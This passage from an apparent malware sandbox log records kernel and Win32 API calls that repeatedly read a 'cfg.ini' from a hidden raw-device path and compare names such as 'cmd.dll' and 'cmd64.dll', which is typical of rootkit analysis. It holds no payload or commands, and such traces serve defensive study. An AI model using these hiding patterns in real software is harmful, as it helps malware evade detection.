(FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.472] KeLeaveCriticalRegion () [0122.472] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.472] KeEnterCriticalRegion () [0122.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.472] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.472] IdePortDispatch () returned 0x103 [0122.472] KeWaitForMutexObject () returned 0x0 [0122.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.472] KeLeaveCriticalRegion () [0122.472] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.472] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.472] KeEnterCriticalRegion () [0122.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9a000 [0122.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.472] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.472] IdePortDispatch () returned 0x103 [0122.472] KeWaitForMutexObject () returned 0x0 [0122.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.472] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.473] IdePortDispatch () returned 0x103 [0122.473] KeWaitForMutexObject () returned 0x0 [0122.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.473] KeLeaveCriticalRegion () [0122.473] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.473] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.473] KeEnterCriticalRegion () [0122.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.473] KeLeaveCriticalRegion () [0122.473] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.473] KeEnterCriticalRegion () [0122.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.473] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.473] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.473] KeLeaveCriticalRegion () [0122.473] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.474] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.474] KeEnterCriticalRegion () [0122.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.474] ExFreePoolWithTag (P=0xfffffa8003bc6520, Tag=0x0) [0122.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.474] KeLeaveCriticalRegion () [0122.474] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.474] ReleaseMutex (hMutex=0xf0) returned 1 [0122.474] Sleep (dwMilliseconds=0x124f80) [0122.487] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.487] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.488] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.488] KeEnterCriticalRegion () [0122.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.488] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.488] IdePortDispatch () returned 0x103 [0122.488] KeWaitForMutexObject () returned 0x0 [0122.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5d00 [0122.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.488] KeLeaveCriticalRegion () [0122.488] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.488] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.488] KeEnterCriticalRegion () [0122.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.488] KeLeaveCriticalRegion () [0122.488] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.488] KeEnterCriticalRegion () [0122.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.488] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.488] IdePortDispatch () returned 0x103 [0122.488] KeWaitForMutexObject () returned 0x0 [0122.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.489] KeLeaveCriticalRegion () [0122.489] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.489] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.489] KeEnterCriticalRegion () [0122.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9f000 [0122.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.489] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.489] IdePortDispatch () returned 0x103 [0122.489] KeWaitForMutexObject () returned 0x0 [0122.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.489] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.489] IdePortDispatch () returned 0x103 [0122.489] KeWaitForMutexObject () returned 0x0 [0122.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.489] KeLeaveCriticalRegion () [0122.489] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.490] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.490] KeEnterCriticalRegion () [0122.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] KeLeaveCriticalRegion () [0122.490] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.490] KeEnterCriticalRegion () [0122.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] KeLeaveCriticalRegion () [0122.490] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.490] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.490] KeEnterCriticalRegion () [0122.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] ExFreePoolWithTag (P=0xfffffa8003be5d00, Tag=0x0) [0122.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] KeLeaveCriticalRegion () [0122.490] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.490] ReleaseMutex (hMutex=0xf0) returned 1 [0122.490] Sleep (dwMilliseconds=0x124f80) [0122.505] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.505] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.505] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.505] KeEnterCriticalRegion () [0122.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.505] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.505] IdePortDispatch () returned 0x103 [0122.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.505] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.505] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.505] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.505] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.505] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6eb0 [0122.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.505] KeLeaveCriticalRegion () [0122.505] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.506] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.506] KeEnterCriticalRegion () [0122.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.506] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.506] KeLeaveCriticalRegion () [0122.506] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.506] KeEnterCriticalRegion () [0122.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.506] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.506] IdePortDispatch () returned 0x103 [0122.506] KeWaitForMutexObject () returned 0x0 [0122.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.506] KeLeaveCriticalRegion () [0122.506] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.506] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.506] KeEnterCriticalRegion () [0122.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca4000 [0122.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.506] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.506] IdePortDispatch () returned 0x103 [0122.506] KeWaitForMutexObject () returned 0x0 [0122.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.507] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.507] IdePortDispatch () returned 0x103 [0122.507] KeWaitForMutexObject () returned 0x0 [0122.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.507] KeLeaveCriticalRegion () [0122.507] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.507] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.507] KeEnterCriticalRegion () [0122.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.507] KeLeaveCriticalRegion () [0122.507] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.507] KeEnterCriticalRegion () [0122.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.507] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.508] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.508] KeLeaveCriticalRegion () [0122.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.508] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.508] KeEnterCriticalRegion () [0122.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.508] ExFreePoolWithTag (P=0xfffffa8003be6eb0, Tag=0x0) [0122.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.508] KeLeaveCriticalRegion () [0122.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.508] ReleaseMutex (hMutex=0xf0) returned 1 [0122.508] Sleep (dwMilliseconds=0x124f80) [0122.521] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.521] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.521] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.521] KeEnterCriticalRegion () [0122.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.521] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.521] IdePortDispatch () returned 0x103 [0122.522] KeWaitForMutexObject () returned 0x0 [0122.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.522] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.522] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.522] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.522] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.522] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5d00 [0122.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.522] KeLeaveCriticalRegion () [0122.522] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.522] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.522] KeEnterCriticalRegion () [0122.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.522] KeLeaveCriticalRegion () [0122.522] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.522] KeEnterCriticalRegion () [0122.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.522] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.522] IdePortDispatch () returned 0x103 [0122.522] KeWaitForMutexObject () returned 0x0 [0122.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.522] KeLeaveCriticalRegion () [0122.522] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.522] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.523] KeEnterCriticalRegion () [0122.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca9000 [0122.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.523] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.523] IdePortDispatch () returned 0x103 [0122.523] KeWaitForMutexObject () returned 0x0 [0122.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.523] IoAllocateIrp (StackSize=1, 